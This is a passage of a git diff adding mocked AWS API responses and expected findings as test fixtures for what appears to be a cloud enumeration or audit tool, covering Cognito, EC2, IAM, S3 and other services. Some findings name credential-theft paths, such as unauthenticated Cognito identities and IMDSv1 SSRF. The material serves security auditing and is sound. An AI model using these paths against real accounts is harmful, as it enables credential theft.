--- /dev/null +++ b/test/fixtures/enum/cognito/api-responses.json @@ -0,0 +1,88 @@ +{ + "ListIdentityPoolsCommand": { + "IdentityPools": [ + { + "IdentityPoolId": "us-east-1:pool-abc123", + "IdentityPoolName": "TestIdentityPool" + } + ] + }, + "DescribeIdentityPoolCommand": { + "IdentityPoolId": "us-east-1:pool-abc123", + "IdentityPoolName": "TestIdentityPool", + "AllowUnauthenticatedIdentities": true, + "Roles": { + "authenticated": "arn:aws:iam::123456789012:role/Cognito_TestIdentityPoolAuth_Role", + "unauthenticated": "arn:aws:iam::123456789012:role/Cognito_TestIdentityPoolUnauth_Role" + }, + "SupportedLoginProviders": {}, + "OpenIdConnectProviderARNs": [], + "CognitoIdentityProviders": [ + { + "ProviderName": "cognito-idp.us-east-1.amazonaws.com/us-east-1_TestPool", + "ClientId": "client123", + "ServerSideTokenCheck": false + } + ], + "SamlProviderARNs": [] + }, + "ListUserPoolsCommand": { + "UserPools": [ + { + "Id": "us-east-1_TestPool", + "Name": "TestUserPool" + } + ] + }, + "DescribeUserPoolCommand": { + "UserPool": { + "Id": "us-east-1_TestPool", + "Name": "TestUserPool", + "Arn": "arn:aws:cognito-idp:us-east-1:123456789012:userpool/us-east-1_TestPool", + "MfaConfiguration": "OFF", + "AdminCreateUserConfig": { + "AllowAdminCreateUserOnly": false + }, + "Policies": { + "PasswordPolicy": { + "MinimumLength": 8, + "RequireUppercase": true, + "RequireLowercase": true, + "RequireNumbers": true, + "RequireSymbols": false, + "TemporaryPasswordValidityDays": 7 + } + }, + "SchemaAttributes": [], + "EstimatedNumberOfUsers": 42, + "CreationDate": "2024-01-01T00:00:00Z", + "LastModifiedDate": "2024-06-01T00:00:00Z" + } + }, + "ListUserPoolClientsCommand": { + "UserPoolClients": [ + { + "ClientId": "clientabc123", + "ClientName": "TestWebClient", + "UserPoolId": "us-east-1_TestPool" + } + ] + }, + "DescribeUserPoolClientCommand": { + "UserPoolClient": { + "ClientId": "clientabc123", + "ClientName": "TestWebClient", + "UserPoolId": "us-east-1_TestPool", + "AllowedOAuthFlows": ["code"], + "AllowedOAuthFlowsUserPoolClient": true, + "AllowedOAuthScopes": ["email", "openid"], + "CallbackURLs": ["https://example.com/callback"], + "LogoutURLs": ["https://example.com/logout"], + "ExplicitAuthFlows": ["ALLOW_REFRESH_TOKEN_AUTH"], + "AccessTokenValidity": 60, + "IdTokenValidity": 60, + "RefreshTokenValidity": 30, + "PreventUserExistenceErrors": "ENABLED" + } + } +} diff --git a/test/fixtures/enum/cognito/expected.json b/test/fixtures/enum/cognito/expected.json new file mode 100644 index 0000000..bfb77ba --- /dev/null +++ b/test/fixtures/enum/cognito/expected.json @@ -0,0 +1,80 @@ +{ + "module": "cognito", + "account_id": "unknown", + "region": "us-east-1", + "status": "complete", + "findings": [ + { + "resource_type": "cognito_identity_pool", + "resource_id": "TestIdentityPool", + "arn": "arn:aws:cognito-identity:us-east-1:unknown:identitypool/us-east-1:pool-abc123", + "pool_id": "us-east-1:pool-abc123", + "pool_name": "TestIdentityPool", + "region": "us-east-1", + "allow_unauthenticated": true, + "authenticated_role_arn": "arn:aws:iam::123456789012:role/Cognito_TestIdentityPoolAuth_Role", + "unauthenticated_role_arn": "arn:aws:iam::123456789012:role/Cognito_TestIdentityPoolUnauth_Role", + "supported_login_providers": {}, + "open_id_connect_provider_arns": [], + "cognito_identity_providers": [ + { + "provider_name": "cognito-idp.us-east-1.amazonaws.com/us-east-1_TestPool", + "client_id": "client123", + "server_side_token_check": false + } + ], + "saml_provider_arns": [], + "findings": [ + "CRITICAL: AllowUnauthenticatedIdentities is TRUE — anyone can call GetId + GetCredentialsForIdentity and receive temporary AWS credentials without authentication" + ] + }, + { + "resource_type": "cognito_user_pool", + "resource_id": "TestUserPool", + "arn": "arn:aws:cognito-idp:us-east-1:123456789012:userpool/us-east-1_TestPool", + "pool_id": "us-east-1_TestPool", + "pool_name": "TestUserPool", + "region": "us-east-1", + "self_registration_enabled": true, + "mfa_configuration": "OFF", + "password_policy": { + "minimum_length": 8, + "require_uppercase": true, + "require_lowercase": true, + "require_numbers": true, + "require_symbols": false, + "temporary_password_validity_days": 7 + }, + "custom_attributes_count": 0, + "estimated_users": 42, + "creation_date": "2024-01-01T00:00:00Z", + "last_modified_date": "2024-06-01T00:00:00Z", + "findings": [ + "Self-registration enabled — anyone can create an account", + "MFA is OFF — no multi-factor authentication enforced" + ] + }, + { + "resource_type": "cognito_user_pool_client", + "resource_id": "TestWebClient", + "arn": "arn:aws:cognito-idp:us-east-1:unknown:userpool/us-east-1_TestPool/client/clientabc123", + "client_id": "clientabc123", + "client_name": "TestWebClient", + "user_pool_id": "us-east-1_TestPool", + "region": "us-east-1", + "allowed_oauth_flows": ["code"], + "allowed_oauth_flows_user_pool_client": true, + "allowed_oauth_scopes": ["email", "openid"], + "callback_urls": ["https://example.com/callback"], + "logout_urls": ["https://example.com/logout"], + "explicit_auth_flows": ["ALLOW_REFRESH_TOKEN_AUTH"], + "token_validity": { + "access_token": 60, + "id_token": 60, + "refresh_token": 30 + }, + "prevent_user_existence_errors": "ENABLED", + "findings": [] + } + ] +} diff --git a/test/fixtures/enum/dynamodb/api-responses.json b/test/fixtures/enum/dynamodb/api-responses.json new file mode 100644 index 0000000..5620605 --- /dev/null +++ b/test/fixtures/enum/dynamodb/api-responses.json @@ -0,0 +1,44 @@ +{ + "GetCallerIdentityCommand": { + "Account": "123456789012", + "Arn": "arn:aws:iam::123456789012:assumed-role/TestRole/session", + "UserId": "AROATEST:session" + }, + "ListTablesCommand": { + "TableNames": ["TestTable"], + "LastEvaluatedTableName": null + }, + "DescribeTableCommand": { + "Table": { + "TableName": "TestTable", + "TableArn": "arn:aws:dynamodb:us-east-1:123456789012:table/TestTable", + "TableStatus": "ACTIVE", + "SSEDescription": { + "SSEType": "KMS", + "KMSMasterKeyArn": "arn:aws:kms:us-east-1:123456789012:key/test-key-id" + }, + "StreamSpecification": { + "StreamEnabled": true, + "StreamViewType": "NEW_AND_OLD_IMAGES" + }, + "DeletionProtectionEnabled": true, + "TableClassSummary": { + "TableClass": "STANDARD" + } + } + }, + "DescribeContinuousBackupsCommand": { + "ContinuousBackupsDescription": { + "ContinuousBackupsStatus": "ENABLED", + "PointInTimeRecoveryDescription": { + "PointInTimeRecoveryStatus": "ENABLED" + } + } + }, + "ListBackupsCommand": { + "BackupSummaries": [ + { "BackupArn": "arn:aws:dynamodb:us-east-1:123456789012:table/TestTable/backup/01234567890000-abcdef01" } + ] + }, + "GetResourcePolicyCommand": {} +} diff --git a/test/fixtures/enum/dynamodb/expected.json b/test/fixtures/enum/dynamodb/expected.json new file mode 100644 index 0000000..98ea56b --- /dev/null +++ b/test/fixtures/enum/dynamodb/expected.json @@ -0,0 +1,27 @@ +{ + "module": "dynamodb", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "findings": [ + { + "resource_type": "dynamodb_table", + "resource_id": "TestTable", + "arn": "arn:aws:dynamodb:us-east-1:123456789012:table/TestTable", + "region": "us-east-1", + "encryption_type": "KMS", + "kms_key_id": "arn:aws:kms:us-east-1:123456789012:key/test-key-id", + "stream_enabled": true, + "stream_view_type": "NEW_AND_OLD_IMAGES", + "is_global_table": false, + "replicas": [], + "deletion_protection": true, + "table_class": "STANDARD", + "point_in_time_recovery": true, + "continuous_backups_status": "ENABLED", + "backup_count": 1, + "resource_policy": null, + "findings": [] + } + ] +} diff --git a/test/fixtures/enum/ec2/api-responses.json b/test/fixtures/enum/ec2/api-responses.json new file mode 100644 index 0000000..a0c0e94 --- /dev/null +++ b/test/fixtures/enum/ec2/api-responses.json @@ -0,0 +1,88 @@ +{ + "GetCallerIdentityCommand": { + "Account": "123456789012", + "Arn": "arn:aws:iam::123456789012:assumed-role/TestRole/session", + "UserId": "AROATEST:session" + }, + "DescribeInstancesCommand": { + "Reservations": [ + { + "Instances": [ + { + "InstanceId": "i-0abc123def456789a", + "State": { "Name": "running" }, + "InstanceType": "t3.micro", + "PublicIpAddress": null, + "PrivateIpAddress": "10.0.1.10", + "VpcId": "vpc-0abc123", + "SubnetId": "subnet-0abc123", + "IamInstanceProfile": { + "Arn": "arn:aws:iam::123456789012:instance-profile/TestProfile", + "Id": "AIPATEST" + }, + "SecurityGroups": [{ "GroupId": "sg-0abc123" }], + "MetadataOptions": { + "HttpTokens": "optional", + "HttpEndpoint": "enabled", + "HttpPutResponseHopLimit": 1 + }, + "Tags": [{ "Key": "Name", "Value": "test-instance" }] + } + ] + } + ] + }, + "DescribeSecurityGroupsCommand": { + "SecurityGroups": [ + { + "GroupId": "sg-0abc123", + "GroupName": "test-sg", + "Description": "Test security group", + "VpcId": "vpc-0abc123", + "IpPermissions": [ + { + "IpProtocol": "tcp", + "FromPort": 80, + "ToPort": 80, + "IpRanges": [{ "CidrIp": "0.0.0.0/0" }], + "Ipv6Ranges": [], + "PrefixListIds": [], + "UserIdGroupPairs": [] + } + ] + } + ] + }, + "DescribeVpcsCommand": { + "Vpcs": [ + { + "VpcId": "vpc-0abc123", + "CidrBlock": "10.0.0.0/16", + "IsDefault": false, + "State": "available", + "Tags": [{ "Key": "Name", "Value": "test-vpc" }] + } + ] + }, + "DescribeSnapshotsCommand": { + "Snapshots": [ + { + "SnapshotId": "snap-0abc123", + "VolumeId": "vol-0abc123", + "VolumeSize": 20, + "Encrypted": false, + "State": "completed" + } + ] + }, + "DescribeSnapshotAttributeCommand": { + "CreateVolumePermissions": [] + }, + "DescribeLoadBalancersCommand": { + "LoadBalancers": [], + "LoadBalancerDescriptions": [] + }, + "DescribeListenersCommand": { + "Listeners": [] + } +} diff --git a/test/fixtures/enum/ec2/expected.json b/test/fixtures/enum/ec2/expected.json new file mode 100644 index 0000000..6b63ac3 --- /dev/null +++ b/test/fixtures/enum/ec2/expected.json @@ -0,0 +1,93 @@ +{ + "module": "ec2", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "findings": [ + { + "resource_type": "ec2_instance", + "resource_id": "i-0abc123def456789a", + "arn": "arn:aws:ec2:us-east-1:*:instance/i-0abc123def456789a", + "region": "us-east-1", + "name": "test-instance", + "state": "running", + "instance_type": "t3.micro", + "platform": "linux", + "public_ip": null, + "private_ip": "10.0.1.10", + "vpc_id": "vpc-0abc123", + "subnet_id": "subnet-0abc123", + "iam_instance_profile": { + "arn": "arn:aws:iam::123456789012:instance-profile/TestProfile", + "id": "AIPATEST" + }, + "security_groups": ["sg-0abc123"], + "imds_version": "v1", + "metadata_options": { + "http_tokens": "optional", + "http_endpoint": "enabled", + "http_put_response_hop_limit": 1 + }, + "findings": [ + { + "type": "imds_v1_enabled", + "severity": "critical", + "detail": "Instance uses IMDSv1 (HttpTokens=optional) — credential theft via SSRF" + } + ] + }, + { + "resource_type": "ec2_security_group", + "resource_id": "sg-0abc123", + "arn": "arn:aws:ec2:us-east-1:*:security-group/sg-0abc123", + "region": "us-east-1", + "name": "test-sg", + "description": "Test security group", + "vpc_id": "vpc-0abc123", + "inbound_rules": [ + { + "protocol": "tcp", + "from_port": 80, + "to_port": 80, + "sources": ["0.0.0.0/0"] + } + ], + "findings": [ + { + "type": "open_to_world", + "severity": "high", + "detail": "Security group has inbound rule(s) open to 0.0.0.0/0 or ::/0" + } + ] + }, + { + "resource_type": "ec2_vpc", + "resource_id": "vpc-0abc123", + "arn": "arn:aws:ec2:us-east-1:*:vpc/vpc-0abc123", + "region": "us-east-1", + "name": "test-vpc", + "cidr_block": "10.0.0.0/16", + "is_default": false, + "state": "available", + "findings": [] + }, + { + "resource_type": "ec2_snapshot", + "resource_id": "snap-0abc123", + "arn": "arn:aws:ec2:us-east-1:123456789012:snapshot/snap-0abc123", + "region": "us-east-1", + "volume_id": "vol-0abc123", + "volume_size_gb": 20, + "encrypted": false, + "state": "completed", + "is_public": false, + "findings": [ + { + "type": "unencrypted_snapshot", + "severity": "medium", + "detail": "Snapshot is not encrypted" + } + ] + } + ] +} diff --git a/test/fixtures/enum/iam/api-responses.json b/test/fixtures/enum/iam/api-responses.json new file mode 100644 index 0000000..f51ff0a --- /dev/null +++ b/test/fixtures/enum/iam/api-responses.json @@ -0,0 +1,74 @@ +{ + "GetAccountAuthorizationDetailsCommand": { + "UserDetailList": [ + { + "UserName": "TestUser", + "Arn": "arn:aws:iam::123456789012:user/TestUser", + "GroupList": [], + "AttachedManagedPolicies": [], + "UserPolicyList": [], + "PermissionsBoundary": null + } + ], + "RoleDetailList": [ + { + "RoleName": "TestRole", + "Arn": "arn:aws:iam::123456789012:role/TestRole", + "Path": "/", + "AssumeRolePolicyDocument": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"ec2.amazonaws.com\"},\"Action\":\"sts:AssumeRole\"}]}", + "AttachedManagedPolicies": [], + "RolePolicyList": [], + "PermissionsBoundary": null, + "RoleLastUsed": null + } + ], + "GroupDetailList": [], + "Policies": [], + "IsTruncated": false + }, + "GenerateCredentialReportCommand": { + "State": "COMPLETE" + }, + "GetCredentialReportCommand": { + "Content": "user,password_enabled,password_last_used,password_last_changed,password_next_rotation,mfa_active,access_key_1_active,access_key_1_last_rotated,access_key_1_last_used_date,access_key_1_last_used_region,access_key_1_last_used_service,access_key_2_active,access_key_2_last_rotated,access_key_2_last_used_date,access_key_2_last_used_region,access_key_2_last_used_service,cert_1_active,cert_1_last_rotated,cert_2_active,cert_2_last_rotated\n,not_supported,2026-01-01T00:00:00+00:00,not_supported,not_supported,true,false,N/A,N/A,N/A,N/A,false,N/A,N/A,N/A,N/A,false,N/A,false,N/A\nTestUser,true,N/A,2026-01-01T00:00:00+00:00,not_applicable,false,false,N/A,N/A,N/A,N/A,false,N/A,N/A,N/A,N/A,false,N/A,false,N/A" + }, + "ListAccessKeysCommand": { + "AccessKeyMetadata": [], + "IsTruncated": false + }, + "ListMFADevicesCommand": { + "MFADevices": [], + "IsTruncated": false + }, + "ListOpenIDConnectProvidersCommand": { + "OpenIDConnectProviderList": [] + }, + "GenerateServiceLastAccessedDetailsCommand": [ + { "JobId": "job-user-123" }, + { "JobId": "job-role-456" } + ], + "GetServiceLastAccessedDetailsCommand": [ + { + "JobStatus": "COMPLETED", + "ServicesLastAccessed": [ + { + "ServiceName": "Amazon S3", + "ServiceNamespace": "s3", + "LastAuthenticated": null, + "TotalAuthenticatedEntities": 0 + } + ] + }, + { + "JobStatus": "COMPLETED", + "ServicesLastAccessed": [ + { + "ServiceName": "Amazon S3", + "ServiceNamespace": "s3", + "LastAuthenticated": null, + "TotalAuthenticatedEntities": 0 + } + ] + } + ] +} diff --git a/test/fixtures/enum/iam/expected.json b/test/fixtures/enum/iam/expected.json new file mode 100644 index 0000000..b5f2c01 --- /dev/null +++ b/test/fixtures/enum/iam/expected.json @@ -0,0 +1,68 @@ +{ + "module": "iam", + "account_id": "123456789012", + "region": "global", + "status": "complete", + "findings": [ + { + "resource_type": "iam_user", + "resource_id": "TestUser", + "arn": "arn:aws:iam::123456789012:user/TestUser", + "region": "global", + "groups": [], + "attached_policies": [], + "inline_policies": [], + "has_console_access": false, + "mfa_enabled": false, + "access_keys": [], + "password_last_used": null, + "has_boundary": false, + "permission_boundary_arn": null, + "last_activity": null, + "is_stale": true, + "stale_days": null, + "service_last_accessed": [ + { + "service_name": "Amazon S3", + "service_namespace": "s3", + "last_authenticated": null, + "total_entities": 0 + } + ], + "findings": [] + }, + { + "resource_type": "iam_role", + "resource_id": "TestRole", + "arn": "arn:aws:iam::123456789012:role/TestRole", + "region": "global", + "is_service_linked": false, + "trust_relationships": [ + { + "principal": "ec2.amazonaws.com", + "trust_type": "service", + "is_wildcard": false, + "has_external_id": false, + "has_mfa_condition": false, + "risk": "low" + } + ], + "attached_policies": [], + "inline_policies": [], + "has_boundary": false, + "permission_boundary_arn": null, + "last_activity": null, + "is_stale": true, + "stale_days": null, + "service_last_accessed": [ + { + "service_name": "Amazon S3", + "service_namespace": "s3", + "last_authenticated": null, + "total_entities": 0 + } + ], + "findings": [] + } + ] +} diff --git a/test/fixtures/enum/kms/api-responses.json b/test/fixtures/enum/kms/api-responses.json new file mode 100644 index 0000000..c40ae0c --- /dev/null +++ b/test/fixtures/enum/kms/api-responses.json @@ -0,0 +1,46 @@ +{ + "GetCallerIdentityCommand": { + "Account": "123456789012", + "Arn": "arn:aws:iam::123456789012:assumed-role/TestRole/session", + "UserId": "AROATEST:session" + }, + "ListKeysCommand": { + "Keys": [ + { "KeyId": "aaaa-1111-bbbb-2222" }, + { "KeyId": "cccc-3333-dddd-4444" } + ] + }, + "DescribeKeyCommand": [ + { + "KeyMetadata": { + "KeyId": "aaaa-1111-bbbb-2222", + "Arn": "arn:aws:kms:us-east-1:123456789012:key/aaaa-1111-bbbb-2222", + "KeyManager": "CUSTOMER", + "KeyState": "Enabled", + "KeyUsage": "ENCRYPT_DECRYPT", + "Origin": "AWS_KMS", + "Description": "My test key" + } + }, + { + "KeyMetadata": { + "KeyId": "cccc-3333-dddd-4444", + "Arn": "arn:aws:kms:us-east-1:123456789012:key/cccc-3333-dddd-4444", + "KeyManager": "AWS", + "KeyState": "Enabled", + "KeyUsage": "ENCRYPT_DECRYPT", + "Origin": "AWS_KMS", + "Description": "AWS managed key" + } + } + ], + "GetKeyPolicyCommand": { + "Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::123456789012:root\"},\"Action\":\"kms:*\",\"Resource\":\"*\"}]}" + }, + "ListGrantsCommand": { + "Grants": [] + }, + "GetKeyRotationStatusCommand": { + "KeyRotationEnabled": true + } +} diff --git a/test/fixtures/enum/kms/expected.json b/test/fixtures/enum/kms/expected.json new file mode 100644 index 0000000..b4dd6cf --- /dev/null +++ b/test/fixtures/enum/kms/expected.json @@ -0,0 +1,24 @@ +{ + "module": "kms", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "findings": [ + { + "resource_type": "kms_key", + "resource_id": "aaaa-1111-bbbb-2222", + "arn": "arn:aws:kms:us-east-1:123456789012:key/aaaa-1111-bbbb-2222", + "region": "us-east-1", + "key_state": "Enabled", + "usage": "ENCRYPT_DECRYPT", + "origin": "AWS_KMS", + "description": "My test key", + "rotation_enabled": true, + "policy_principals": [ + "arn:aws:iam::123456789012:root" + ], + "grants": [], + "findings": [] + } + ] +} diff --git a/test/fixtures/enum/lambda/api-responses.json b/test/fixtures/enum/lambda/api-responses.json new file mode 100644 index 0000000..c62206e --- /dev/null +++ b/test/fixtures/enum/lambda/api-responses.json @@ -0,0 +1,31 @@ +{ + "GetCallerIdentityCommand": { + "Account": "123456789012", + "Arn": "arn:aws:iam::123456789012:assumed-role/TestRole/session", + "UserId": "AROATEST:session" + }, + "ListFunctionsCommand": { + "Functions": [ + { + "FunctionName": "my-test-function", + "FunctionArn": "arn:aws:lambda:us-east-1:123456789012:function:my-test-function", + "Runtime": "nodejs20.x", + "Role": "arn:aws:iam::123456789012:role/lambda-basic-execution", + "Handler": "index.handler", + "CodeSize": 1024, + "Timeout": 30, + "MemorySize": 128, + "LastModified": "2024-01-15T10:00:00.000+0000", + "Layers": [], + "Environment": { + "Variables": { + "LOG_LEVEL": "info", + "DB_HOST": "localhost" + } + } + } + ] + }, + "GetFunctionUrlConfigCommand": null, + "GetPolicyCommand": null +} diff --git a/test/fixtures/enum/lambda/expected.json b/test/fixtures/enum/lambda/expected.json new file mode 100644 index 0000000..1274782 --- /dev/null +++ b/test/fixtures/enum/lambda/expected.json @@ -0,0 +1,26 @@ +{ + "module": "lambda", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "findings": [ + { + "resource_type": "lambda_function", + "resource_id": "my-test-function", + "arn": "arn:aws:lambda:us-east-1:123456789012:function:my-test-function", + "runtime": "nodejs20.x", + "role": "arn:aws:iam::123456789012:role/lambda-basic-execution", + "handler": "index.handler", + "code_size": 1024, + "timeout": 30, + "memory_size": 128, + "last_modified": "2024-01-15T10:00:00.000+0000", + "layers": [], + "function_url": null, + "resource_policy_principals": [], + "env_var_names": ["LOG_LEVEL", "DB_HOST"], + "secret_pattern_names": [], + "findings": [] + } + ] +} diff --git a/test/fixtures/enum/rds/api-responses.json b/test/fixtures/enum/rds/api-responses.json new file mode 100644 index 0000000..e312880 --- /dev/null +++ b/test/fixtures/enum/rds/api-responses.json @@ -0,0 +1,49 @@ +{ + "GetCallerIdentityCommand": { + "Account": "123456789012", + "Arn": "arn:aws:iam::123456789012:assumed-role/TestRole/session", + "UserId": "AROATEST:session" + }, + "DescribeDBInstancesCommand": { + "DBInstances": [ + { + "DBInstanceIdentifier": "test-db-instance", + "DBInstanceArn": "arn:aws:rds:us-east-1:123456789012:db:test-db-instance", + "Engine": "mysql", + "EngineVersion": "8.0.33", + "PubliclyAccessible": false, + "StorageEncrypted": true, + "KmsKeyId": "arn:aws:kms:us-east-1:123456789012:key/aaaa-1111-bbbb-2222", + "IAMDatabaseAuthenticationEnabled": false, + "DeletionProtection": true, + "VpcSecurityGroups": [ + { "VpcSecurityGroupId": "sg-12345678", "Status": "active" } + ], + "MultiAZ": true + } + ] + }, + "DescribeDBSnapshotsCommand": { + "DBSnapshots": [ + { + "DBSnapshotIdentifier": "test-snapshot-1", + "DBSnapshotArn": "arn:aws:rds:us-east-1:123456789012:snapshot:test-snapshot-1", + "Engine": "mysql", + "Encrypted": true, + "KmsKeyId": "arn:aws:kms:us-east-1:123456789012:key/aaaa-1111-bbbb-2222", + "DBInstanceIdentifier": "test-db-instance" + } + ] + }, + "DescribeDBSnapshotAttributesCommand": { + "DBSnapshotAttributesResult": { + "DBSnapshotIdentifier": "test-snapshot-1", + "DBSnapshotAttributes": [ + { + "AttributeName": "restore", + "AttributeValues": [] + } + ] + } + } +} diff --git a/test/fixtures/enum/rds/expected.json b/test/fixtures/enum/rds/expected.json new file mode 100644 index 0000000..e75a922 --- /dev/null +++ b/test/fixtures/enum/rds/expected.json @@ -0,0 +1,45 @@ +{ + "module": "rds", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "findings": [ + { + "resource_type": "rds_instance", + "resource_id": "test-db-instance", + "arn": "arn:aws:rds:us-east-1:123456789012:db:test-db-instance", + "region": "us-east-1", + "engine": "mysql", + "engine_version": "8.0.33", + "publicly_accessible": false, + "storage_encrypted": true, + "kms_key_id": "arn:aws:kms:us-east-1:123456789012:key/aaaa-1111-bbbb-2222", + "iam_auth_enabled": false, + "deletion_protection": true, + "security_groups": [ + { "id": "sg-12345678", "status": "active" } + ], + "multi_az": true, + "findings": [ + { + "type": "no_iam_auth", + "severity": "low", + "detail": "IAM authentication is not enabled" + } + ] + }, + { + "resource_type": "rds_snapshot", + "resource_id": "test-snapshot-1", + "arn": "arn:aws:rds:us-east-1:123456789012:snapshot:test-snapshot-1", + "region": "us-east-1", + "engine": "mysql", + "encrypted": true, + "kms_key_id": "arn:aws:kms:us-east-1:123456789012:key/aaaa-1111-bbbb-2222", + "db_instance_identifier": "test-db-instance", + "public": false, + "shared_with": [], + "findings": [] + } + ] +} diff --git a/test/fixtures/enum/s3/api-responses.json b/test/fixtures/enum/s3/api-responses.json new file mode 100644 index 0000000..03283c5 --- /dev/null +++ b/test/fixtures/enum/s3/api-responses.json @@ -0,0 +1,54 @@ +{ + "GetCallerIdentityCommand": { + "Account": "123456789012", + "Arn": "arn:aws:iam::123456789012:assumed-role/TestRole/session", + "UserId": "AROATEST:session" + }, + "ListBucketsCommand": { + "Buckets": [ + { "Name": "my-test-bucket" } + ] + }, + "GetBucketLocationCommand": { + "LocationConstraint": "us-east-1" + }, + "GetBucketPolicyCommand": null, + "GetPublicAccessBlockCommand": { + "PublicAccessBlockConfiguration": { + "BlockPublicAcls": true, + "IgnorePublicAcls": true, + "BlockPublicPolicy": true, + "RestrictPublicBuckets": true + } + }, + "GetBucketVersioningCommand": { + "Status": "Enabled", + "MFADelete": null + }, + "GetBucketEncryptionCommand": { + "ServerSideEncryptionConfiguration": { + "Rules": [ + { + "ApplyServerSideEncryptionByDefault": { + "SSEAlgorithm": "AES256" + } + } + ] + } + }, + "GetBucketLoggingCommand": { + "LoggingEnabled": null + }, + "GetBucketAclCommand": { + "Grants": [ + { + "Grantee": { + "Type": "CanonicalUser", + "ID": "abc123", + "URI": null + }, + "Permission": "FULL_CONTROL" + } + ] + } +} diff --git a/test/fixtures/enum/s3/expected.json b/test/fixtures/enum/s3/expected.json new file mode 100644 index 0000000..73b2ead --- /dev/null +++ b/test/fixtures/enum/s3/expected.json @@ -0,0 +1,44 @@ +{ + "module": "s3", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "findings": [ + { + "resource_type": "s3_bucket", + "resource_id": "my-test-bucket", + "arn": "arn:aws:s3:::my-test-bucket", + "region": "us-east-1", + "policy": null, + "public_access_block": { + "BlockPublicAcls": true, + "IgnorePublicAcls": true, + "BlockPublicPolicy": true, + "RestrictPublicBuckets": true + }, + "versioning": { + "Status": "Enabled", + "MFADelete": null + }, + "encryption": { + "Rules": [ + { + "ApplyServerSideEncryptionByDefault": { + "SSEAlgorithm": "AES256" + } + } + ] + }, + "logging": null, + "acl_grants": [ + { + "grantee_type": "CanonicalUser", + "grantee_id": "abc123", + "grantee_uri": null, + "permission": "FULL_CONTROL" + } + ], + "findings": [] + } + ] +} diff --git a/test/fixtures/enum/secrets/api-responses.json b/test/fixtures/enum/secrets/api-responses.json new file mode 100644 index 0000000..aa91d44 --- /dev/null +++ b/test/fixtures/enum/secrets/api-responses.json @@ -0,0 +1,22 @@ +{ + "GetCallerIdentityCommand": { + "Account": "123456789012", + "Arn": "arn:aws:iam::123456789012:assumed-role/TestRole/session", + "UserId": "AROATEST:session" + }, + "ListSecretsCommand": { + "SecretList": [ + { + "Name": "my-test-secret", + "ARN": "arn:aws:secretsmanager:us-east-1:123456789012:secret:my-test-secret-AbCdEf", + "RotationEnabled": false, + "LastRotatedDate": null, + "LastAccessedDate": null, + "KmsKeyId": null + } + ] + }, + "GetResourcePolicyCommand": { + "ResourcePolicy": null + } +} diff --git a/test/fixtures/enum/secrets/expected.json b/test/fixtures/enum/secrets/expected.json new file mode 100644 index 0000000..1e7b32a --- /dev/null +++ b/test/fixtures/enum/secrets/expected.json @@ -0,0 +1,26 @@ +{ + "module": "secrets", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "findings": [ + { + "resource_type": "secrets_secret", + "resource_id": "my-test-secret", + "arn": "arn:aws:secretsmanager:us-east-1:123456789012:secret:my-test-secret-AbCdEf", + "region": "us-east-1", + "rotation_enabled": false, + "last_rotated_date": null, + "last_accessed_date": null, + "kms_key_id": null, + "resource_policy_principals": [], + "findings": [ + { + "type": "no_rotation", + "severity": "medium", + "detail": "Secret rotation is not enabled" + } + ] + } + ] +} diff --git a/test/fixtures/enum/sns/api-responses.json b/test/fixtures/enum/sns/api-responses.json new file mode 100644 index 0000000..bef2033 --- /dev/null +++ b/test/fixtures/enum/sns/api-responses.json @@ -0,0 +1,19 @@ +{ + "GetCallerIdentityCommand": { + "Account": "123456789012", + "Arn": "arn:aws:iam::123456789012:assumed-role/TestRole/session", + "UserId": "AROATEST:session" + }, + "ListTopicsCommand": { + "Topics": [ + { "TopicArn": "arn:aws:sns:us-east-1:123456789012:test-topic" } + ] + }, + "GetTopicAttributesCommand": { + "Attributes": { + "TopicArn": "arn:aws:sns:us-east-1:123456789012:test-topic", + "SubscriptionsConfirmed": "2", + "KmsMasterKeyId": null + } + } +} diff --git a/test/fixtures/enum/sns/expected.json b/test/fixtures/enum/sns/expected.json new file mode 100644 index 0000000..06e2c25 --- /dev/null +++ b/test/fixtures/enum/sns/expected.json @@ -0,0 +1,18 @@ +{ + "module": "sns", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "findings": [ + { + "resource_type": "sns_topic", + "resource_id": "test-topic", + "arn": "arn:aws:sns:us-east-1:123456789012:test-topic", + "region": "us-east-1", + "resource_policy": null, + "kms_key_id": null, + "subscriptions_confirmed": 2, + "findings": [] + } + ] +} diff --git a/test/fixtures/enum/sqs/api-responses.json b/test/fixtures/enum/sqs/api-responses.json new file mode 100644 index 0000000..0ef9133 --- /dev/null +++ b/test/fixtures/enum/sqs/api-responses.json @@ -0,0 +1,19 @@ +{ + "GetCallerIdentityCommand": { + "Account": "123456789012", + "Arn": "arn:aws:iam::123456789012:assumed-role/TestRole/session", + "UserId": "AROATEST:session" + }, + "ListQueuesCommand": { + "QueueUrls": [ + "https://sqs.us-east-1.amazonaws.com/123456789012/test-queue" + ] + }, + "GetQueueAttributesCommand": { + "Attributes": { + "QueueArn": "arn:aws:sqs:us-east-1:123456789012:test-queue", + "VisibilityTimeout": "30", + "FifoQueue": "false" + } + } +} diff --git a/test/fixtures/enum/sqs/expected.json b/test/fixtures/enum/sqs/expected.json new file mode 100644 index 0000000..68c5f1d --- /dev/null +++ b/test/fixtures/enum/sqs/expected.json @@ -0,0 +1,21 @@ +{ + "module": "sqs", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "findings": [ + { + "resource_type": "sqs_queue", + "resource_id": "test-queue", + "arn": "arn:aws:sqs:us-east-1:123456789012:test-queue", + "region": "us-east-1", + "queue_url": "https://sqs.us-east-1.amazonaws.com/123456789012/test-queue", + "resource_policy": null, + "fifo": false, + "dlq_arn": null, + "kms_key_id": null, + "visibility_timeout": 30, + "findings": [] + } + ] +} diff --git a/test/fixtures/enum/ssm/api-responses.json b/test/fixtures/enum/ssm/api-responses.json new file mode 100644 index 0000000..d92ef95 --- /dev/null +++ b/test/fixtures/enum/ssm/api-responses.json @@ -0,0 +1,29 @@ +{ + "GetCallerIdentityCommand": { + "Account": "123456789012", + "Arn": 